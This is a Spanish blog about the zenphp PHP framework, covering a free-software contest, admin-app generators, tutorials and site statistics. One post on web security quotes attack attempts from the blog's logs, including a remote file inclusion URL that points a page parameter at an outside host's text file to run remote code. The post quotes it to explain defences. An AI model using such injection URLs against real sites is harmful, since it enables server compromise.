Más Extras para completar zenphp:VCard y DHTML Calendar

Como he visto que faltaban algunas cuestiones extras, las he añadido:

Una captura:

Espero que os sirvan, como siempre 🙂

Compártelo

Fase final

Acabo de volver de la fase final del Concurso Universitario de Software Libre en Sevilla, bueno realmente fue anoche mi llegada pero tuve un concierto de Roger Water y como su nombre indica ,hubo agua xD

¡Todos ganamos! ,como he venido hablando en otros posts, nuestras intenciones se ven reflejadas en las relaciones con los demás, en mi caso no aspiraba a ser millonario y sigo siendo finalista aunque en una nueva categoría: “Mejor proyecto Comunitario“, es algo más de lo que esperaba cuando empecé con todo este proyecto 🙂

Como digo, todos ganamos, esta fue una oportunidad única para entrar en contacto con toda la gente maravillosa que hemos tenido ocasión de ir conociendo a lo largo de nuestros desarrollos desde el año pasado, asi como de reunirnos con caras nuevas del software libre, para compartir nuestras pasiones alrededor de la hoguera de conocimientos y experiencia que este movimiento genera…, Ah!, Pascal de Firefox me regaló una chapa, los chicos de R4P me hicieron una camiseta, los de Guadalinex pingüinitos antistress y otras,los organizadores también regalaron cosillas y derrocharon simpatía, etc. ¡gracias! 🙂

Compártelo

Aplicaciones de administración

Un gestor de contenidos de una aplicación de administración, a lo largo de la historia de zenphp me he visto obligado a crear diversos tipos de administradores e ingeniármelas para hacerlo de forma tan general que pudiera compartir el código entre proyectos para no reescribir todo el código una y otra vez en función de las necesidades de los usuarios finales.
Para generar dichas aplicaciones, estoy diseñando un modelo general de aplicación web de administración con una serie de plantillas, el conjunto total de la aplicación con administración es el cartucho que carga el generador Gtk y es compilado por el generador POA de forma que obtenemos el esqueleto inicial de una aplicación en pocos segundos ,sobre la que vamos a trabajar, podemos cambiar las plantillas de administración pero realmente no es algo primordial ya que sólo con cambiar el logo para cada proyecto y un par de cosas más estará completado.
Adjunto una captura de una de las aplicaciones web de administración del modelo de “Portal” que estoy preparando como cartucho para incluir en el repositorio SVN del proyecto.

En la imagen se puede ver el visualizador HTML donde el único HTML que hay son pequeños mensajes de resultados, una pregunta, una confirmación, cosas simples, que han de estar mejor en funciones que lean una plantilla por defecto, asi está todo bien organizado. El resultado es una página de administración para mantener el contenido de una aplicación web cliente de forma que cualquier usuario pueda modificar cualquier parte de la misma.

Compártelo

Finalista del II CUSL

El árbol da sus frutos
Es hora de recoger algunos frutos de este árbol…

zenphp ha resultado ser finalista del II Concurso Universitario de Software Libre junto con otros proyectos más de los compañeros que han participado.

Tengo que dar las gracias por la gran ayuda que me han prestado, con sus opiniones,participación y simpatía 🙂

Podremos conocernos en Sevilla, echad el bañador que para Mayo empieza el calor!

Mi enhorabuena a todos los proyectos, tengo que mencionarlo pues gracias a todos hemos podido comprobar que es mejor colaborar que competir

Saludos!

Compártelo

Expandiendo zenphp a los medios

Para expandir zenphp escribo artículos donde tan sólo explico lo que los programadores necesitan, se hace más fácil de leer si no son muy largos y está escrito de forma que es comprensible independientemente del nivel que tenga el lector,…o al menos se intenta 😀

El último artículo que he escrito va sobre cadenas de texto y expresiones regulares, muchas comunidades suelen tener cientos de preguntas ,donde se repiten muy a menudo los temas, con estos pequeños tutoriales se pretende ahorrar horas de conversaciones y preguntas/respuestas que por bien que estén necesitan un tiempo para ser publicados y completados.

Tener en cuenta todos los casos es fundamental, para hacerlo me ayudo de los libros que voy encontrando, la mayoría están en inglés y a veces me sorprendo a mi mismo leyendo y escuchando cosas en este idioma, como si fuera español, aunque no me vuelvo a plantear si el framework debería estar en inglés, me parece bien como está 🙂

Compártelo

Aplicaciones web seguras

Escribí hace algún tiempo un artículo donde explicaba el problema de que se diera mucho a conocer un software hasta que mucha gente lo usara ,comentándolo públicamente…y por qué existe un riesgo mayor mientras más fama tenga…
He encontrado indicios de intentos de explotación de agujeros de distinta índole en los logs de este blog, aquí teneis ejemplos de lo que se pretende hacer…

¡¡Lanzamiento de caña!!

  • Con la siguiente dirección:
    home.php?section=http://www.backbreakacres.com/22/test.txt??
    se pretende inyectar un ataque con una línea de ejecución de comando de consola, detectando previamente el sistema operativo para lanzar un servicio de red…para ello se necesita comprobar si el parámetro safe_mode de PHP está activado…algo relativamente sencillo que puede ser testeado rápidamente y tiene grabes consecuencias
  • Por medio del siguiente ataque
    URL%20http://yoshishome.chat.ru/images se intenta engañar a un controlador de una aplicación web
    con la aspiración ni más ni menos que de insertar todo un conjunto de órdenes en una cadena que está ofuscada y encriptada para que los analizadores de código no encuentren ninguna linea u orden sospechosa en tiempo de ejecución, recordemos el peligro de la función eval() de PHP…
  • Técnicas raras usando métodos que concatenan dirección tras dirección con parámetros ++GET para engañar al analizador de .htaccess de Apache y conseguir descargar ficheros ,etc.

A esto se ha de añadir otros tipos de ataque como las inyecciones de SQL en los formularios, modificación de cookies de sesión, des-habilitación de JavaScript, antes,mientras y tras la carga de una web, alteración del envío de una petición por métodos POST y GET, aprovechar vulnerabilidades conocidas en general de PHP, como la escritura de ficheros y ataques XSS…etc.
Por eso, un buen framework ha de pensar en estas cosas tan importantes y dar soluciones a la altura, en mi caso,he propuesto algunas…y están implementadas de forma transparente.
Si no teníamos suficiente con diseñar las webs para cada tipo de navegador (y S.O.) además tenemos que estar atentos a los ataques del exterior, jeje

Compártelo

Extendiendo los procesos de automatización

Para automatizar los procesos de una aplicación web lo mejor es usar un esqueleto y escribir código a partir de él. Aunque muchas veces el problema es como se dice en todos sitios, la curva de aprendizaje de un método.
Con cualquiera de las formas de pensar a la hora de hablar de programación encontramos similitudes porque los humanos pensamos de la misma manera XD ¿Qué quiero decir con esto? Pues ,pasa lo mismo que con las ideas que se tienen implementando capas de redes, cuando a alguien se le ocurre una idea para proteger,enviar o recibir, encriptar,…lo que sea!, seguramente se le ha ocurrido a otra persona antes, y si no se le ha ocurrido se le ocurrirá pronto 🙂 y me explico, a mi se me ocurren ideas que me parecen muy buenas y dada mi experiencia con programación orientada a objetos para programar páginas web considero que debo compartir lo que he aprendido y he de mezclarlo con los conocimientos ya adquiridos y puestos en la red con libertad de uso…lo que a mi se me ha ocurrido se le puede haber ocurrido a cualquiera otra persona en cualquier otro momento, sin embargo lo voy a publicar, para que cualquier otra persona no tenga que implementar lo que en mi caso, con más experiencia, me cuesta menos expresar en líneas de código. El resultado es un conjunto de clases llamadas librerías que están muy organizadas y disponen de un sistema de comunicación entre sí que permite seguir las normas de la programación estructurada fácilmente gracias a la documentación asociada a estas librerías asi como seguir los ejemplos propuestos.
La fases de los procesos de automatización de un Sistema Gestor de Contenidos fueron expuestas en anteriores artículos de este mismo blog. Lo que ahora es más interesante es preguntarse de qué forma se puede implementar un SGC para que no se convierta en la desconfianza de Joomla en cuanto a sus módulos y la desorganización entre versión tras versión que hace chocar implementaciones entre si e imposible reutilizar código por joven que éste parezca…y la respuesta es el generador de código, que mantiene la sincronización actualizada de los procesos de automatización, en otras palabras, se encarga, una vez actualizado, de compilar los paquetes de módulos contenidos en uno/s cartucho/s para generar una salida adaptada a la versión más reciente, a partir de ahi el código final puede surgir cambios pero sólo si no se está usando en modo de programación orientada a aspectos, esto permite realizar cambios directamente en el cartucho y obtener la versión actualizada del framework en ese momento.

Las primeras pruebas las estoy utilizando para proyectos simples y en los que me baso para ir mejorando poco a poco.

Asi es como se puede extender un proceso de automatización sin riesgos.

Ahora estoy aprendiendo un poco de ASP, y creo que me va a resultar difícil encontrar un SGC de código libre en condiciones…:P

Compártelo

Algunas estadísticas del blog

He estado analizando los datos que ofrece Google Analytics y me ha parecido interesante publicar el progreso de visitas, publico a continuación algunas gráficas,desde la apertura del blog hasta Marzo,la línea azul es la del blog de zenphp y la gris la comparativa (en fase beta) de la media de sitios web de la categoría de programación (90 sitios):

Visitas


Hay que tener en cuenta que la mayor parte de las visitas son nuevas, y no todos vuelven…:O

Páginas vistas

Porcentaje de visitas a través de enlaces externos

Los cuadros de comparativas se han capturado de los primeros meses

Analizando resultados

Con los resultados obtenidos se puede deducir que quien llegó, vino por un “tema en concreto”, lo que se traduce en que es gente que busca cómo realizar una parte de una aplicación, o un proceso muy específico,e incluso que le interesa alguna cuestión en particular que se trata en el blog, ya que el tiempo promedio que se pasa visitando sus páginas es de unos 2 minutos,cuando en la documentación de las páginas del Wiki es bastante mayor, incluso hasta 20 minutos más.

Proposiciones de Google: su optimizador de sitios 🙂

Compártelo

Para la gente que empieza

He estado pensando en crear nuevas camisetas con el logotipo que salió elegido en las encuestas…cambiando de tema, echemos un vistazo al:

FAQ para principiantes

Para la gente que empieza con un lenguaje siempre viene bien el super FAQ de la vida: los scripts que todo programador de PHP quiere saber. Un listado de macros que responden cuestiones importantes que siempre se preguntan hasta la saciedad en los miles de foros y grupos de discusión dedicados a este lenguaje por todo el mundo.

Es una pequeña lista que todo programador se pregunta al comenzar con PHP. Espero que sirva de utilidad, tanto como a mi me habría servido.

Compártelo